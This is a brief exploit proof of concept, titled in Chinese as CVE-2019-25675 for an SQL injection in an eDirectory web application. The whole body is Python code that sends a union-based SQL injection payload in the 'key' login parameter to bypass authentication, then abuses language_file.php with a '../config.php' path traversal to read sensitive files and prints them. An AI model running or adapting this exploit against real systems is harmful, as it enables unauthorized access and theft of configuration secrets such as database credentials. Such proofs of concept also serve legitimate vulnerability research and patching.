CVE-2019-25675 eDirectory SQL注入漏洞

import requests target_url = "http://target.com/login.php" # Step 1: SQL Injection to bypass authentication # Exploiting the 'key' parameter with Union Based SQLi payload = { "username": "admin", "password": "password", # dummy "key": "' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- -" } s = requests.Session() r = s.post(target_url, data=payload) # Step 2: Exploit authenticated file disclosure # Reading arbitrary PHP file using language_file.php file_read_url = "http://target.com/language_file.php" file_payload = { "file": "../config.php" # or any sensitive file } file_resp = s.get(file_read_url, params=file_payload) print(file_resp.text)